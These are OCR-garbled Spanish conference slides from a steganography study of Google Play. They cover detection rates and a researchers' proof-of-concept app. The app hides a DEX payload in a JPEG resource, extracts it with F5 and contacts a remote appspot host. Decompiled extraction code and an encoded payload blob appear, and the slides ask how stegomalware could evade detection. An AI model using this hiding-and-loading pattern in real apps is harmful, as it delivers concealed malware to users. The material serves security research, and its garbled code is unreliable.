Escenario 3 Outguess (old) 45 (*) 30 (**) 90 (***)
Jsteg 1 (*)
F5 1 (***)

A study on the false positive ratio of Stegdetect

University of Kent University of Portsmouth
Stegdetect < 5% de falsos positivos
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Escenario 3. Procesamiento de JPG y PNG dentro de recursos de APK

® F5 (1 muestra) ...




/Rootad® 2015

PoC stegomalware en GP: muestra real...

https://play.google.com/store/apps/details?id=es.uc3m.cosec.likeimage

b Google play | suscar K3 wquen Q@ H (&
Categorias v Inicio  Top éxitos ~ Movedades fe
Like Image _
et ot 0 de Risiis A5 D014 @-H android.support.vd
cosec - 8 de junio de 2014 :

S — - es.uc3m.cosec.likeimage
(- [J] Basebd
[*] Afiadir ala lista de deseos m BuildConfig

-0 LikeActivity

w0 R

@+1 | Recomendar esto en Google - james

w-[9) DCT

m Huffman

-[1] Jpeg

m JpegEncoder

m Jpeginfo

= net.f3

w3 erypt

EE image

: EE ortega
- [J] Embed

- - 1)

-3 sun.security.provider2

----- 1 1unnamed.png

----- [} 2unnamed.png
.- 1 3unnamed.png

[]---m Main
----- [} unnamed.png

Descripcion

Esta aplicacidn ofrece a los usuarios |a oportunidad de participar opinar sobre el proyecto Like Image!

es.uc3m.cosec.likeimage\res\drawable-hdpi\likeimage.jpg
likeimage.jpg : f5(***)

(android.permission.Internet & android.permission.READ_PHONE_STATE)
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PoC stegomalware en GP: muestra real...

https://play.google.com/store/apps/details?id=es.uc3m.cosec.likeimage

B
File Edit MNavigate Search Help
2| &P -

Lo plbssgmi el e s

bicho_dex2iar | classes_dex2jar 3

£ android.supportvd
-8 es.uc3m.coseclikeimage
i [0 Based

- [J] BuildConfig
e

mer

 james

£ netfs

£ sun.security.provider2
[) 1unnamed.png

[} 2unnamed.png

B

&

[) 3unnamed.png
[5) Main
[) unnamed.png

LikeActivity.class

package es.ucim.cosec.likeimage;
@|inport android.annotation.Targetdpi:

ETargetApi(14)

public class LikeActivity
extends Activity

1

private String Lo

private String ExtractP(int paramint, String ng)

for (;

I locallnputStream = getResources() .openRawRescurce (paramlnt) ;
File localFilel = getCacheDir():
File localFile? = new File(localFilel, "stg image.jpg");
localFileQutputStream = new FileOutputStream{localFile?);
array0fByte = new byte[l1024]7
i = locallnputStream.read (arrayOfByte);
if (i 0) [
continue;
i
localFileCutputStrean. close();
locallnputStream.close();

this.LOG = (this.IOG + "[Done] 5tg obiect...” + ™\n"):
File localFile3 = nev File(localFilel, "out_p.dex”):
String[] arrayOfString = new String[5]:
array0fString[0] = "-p

array0f£string[1]
array0fstring[2]
array0fString[3] = localFile3.getAbsolutePath();
arrav0fString[4] = localFile2.gethAbsolutePath():
Extract.main(array0Istring);

this.L0G = (this.LOG + "[Done] Extraction...”™ + "\n"};
String str2 = localFile3.getAbsolucePath();

strl = atr2;

paramsString;

}
catch (ICException localIOException)

{

File! localFil
byte[] arrayOfByte;

int ip

Log.e(getClass() .getName (), "Error reading the stg object " + locallOException);

this.LOG = (this.LOG + "Error reading the stg cbject” + "\n");
localICException.printStackTrace();

strl = null;

continue;

catch (Exception localException)

{

Log.=(getClass() .getlame (), "Error extracting the message " + localException):
<

Find: | 2130837505 v | ] Next 7 previous []Case sensitive
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PoC stegomalware en GP: muestra real...

https://play.google.com/store/apps/details?id=es.uc3m.cosec.likeimage

O PASOS:

Hemos detectado F5 en es.uc3m.cosec.likeimage\res\drawable-hdpi\likeimage.jpg
- Tools: dex2ja I, jd, apktool, f5.jar (https://code.google.com/p/f5-steganography/)

- java -jar f5.jar x -p cosec -e bicho.dex likeimage.jpg

(en el codigo se observa que lo oculto en la imagen se ejecuta como un dex)

- bicho.dex = se descarga un payload de http://cosec-uc3m.appspot.com/likeimage

ZGV4CjAzNQDyUt1DKdvkkcxgN4zxwc7ERfT4ALXRA695kAgAACAAAAHhWNBIAAAAAAAAAANWBAAAKAAAACAAAAAQAAACYAAAAAGAAAKGAAAA
AAAAAAAAAAAMAAADAAAAAAQAAANGAAABSAQAA+AAAACGBAAAWAQAAMWEAADOBAABRAQAAZQEAAKUBAACYAQAAIQEAALSBAAACAAA
AAWAAAAQAAAAHAAAAAQAAAAIAAAAAAAAABWAAAAMAAAAAAAAAAAABAAAAAAAAAAAACAAAAAEAAQAAAAAAAAAAAAEAAAABAAAAAA
AAAAYAAAAAAAAAYWEAAAAAAAABAAEAAQAAAMEBAAAEAAAACBACAAAADGACAAEAAAAAAMYBAAADAAAAGGAFABEAAAAGPGIuaXQ+AAF
MAAhMTUNsYXNzOwASTGphdmEvbGFuZy9PYmplY3Q7ABJMamF2YS9sYW5nL1NOcmluZzsAPk1BTEIDSU9VUyBQQVIMTOFEIEZSTOOgVEhFIES
FVDogVGhpcyBpcyBhIHByb29mIGImIGNvbmNIcHQuLi4gAAtNQ2xhc3MuamF2YQABVgAEZ2VOUAAEdGhpcwACAACOAAQABWAAAAABAQCBGAT
4AQEBKAIAAAALAAAAAAAAAAEAAAAAAAAAAQAAAACAAABWAAAAAGAAAAQAAACYAAAAAWAAAAIAAACOAAAABQAAAAMAAADAAAAABGAAA
AEAAADYAAAAASAAAAIAAADAAAAAAIAAAACAAAACAQAAAYAAAAIAAADBAQAAACAAAAEAAADLAQAAABAAAAEAAADCAQAA

HttpURLConnection localHttpURLConnection = (HttpURLConnection)new UBL({"http://cocaec-ucim.appspot.com/likeimage™) .openConnection() »
localHttpUELConnection. setBequeatMethod ("FOST™) »
localHttpURELConnection. setDolutput (true) »
localHttpUELConnection. setFixedlengthStreamingMode (O) »
localHotpURLConnection. connect () »

atr = String.wvalue0f{loccalHttpURLConnection.getResponseCode () return "This iz a procf of concept... " + StEr



https://code.google.com/p/f5-steganography/
https://code.google.com/p/f5-steganography/
https://code.google.com/p/f5-steganography/
https://code.google.com/p/f5-steganography/
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RESUMEN: “Esteganografia en GooglePlay”

Tipo Numrotal TamMmedio Deteccion Tools
Imagen detectadas JPG Total

—
o
)
o
O

DEX URL

APK

JPEG

PNG

JPEG

PNG

JPEG

PNG

1.391.613

3.403.139

35.077

19.580

1.365.511

231.893

42KB

115KB

139,25 KB

86,25 KB

140KB

33KB

12.893 (0,92%)

(0,018%)

19.266 (2,86%)

1571 (4,47%)

(0,102%)

(3,60%)

475 (0,0347%)

(0,0121%)

21.808 (9,4%)

Jphide (98,02%)
Outguess (1,59%)
Jsteg (0,38%)

Jphide (97,70%)
Outguess (2,16%)
Jsteg (0,12%)

Jphide (64,84%)
Outguess (34,73%)
Jsteg (0,21%)
F5(0,21%)

800

3310
(6,0559%)

(0,0929%)
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Conclusiones

@ GooglePlay es un canal esteganografico (Pagina web y apks)

- ¢Qué puede hacer Google para evitar esto?
@ El stegomalware es una amenaza real dificil de detectar. ¢APT?

@ iComo haria mi stegomalware mas indetectable?

- APK y URL. Ficheros PNG (pequefio tamafio y decenas por APK)

@ :Es comin?: NO*

@ :Estamos preparados?

- Tecnologia de estegoanalisis especifica.
- Inteligencia basada en indicios & monitorizacion continua
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Dr. Alfonso Munoz - Seéurity Senior Researche[
Innovation department - aIfonso?munoz@llpa‘ths.conj

(Co)Editor Criptored, CISA, CEH, CHFI
Twitter: @mindcrypt | @criptored Linkedin: http://linkd.in/1Ai3JxH



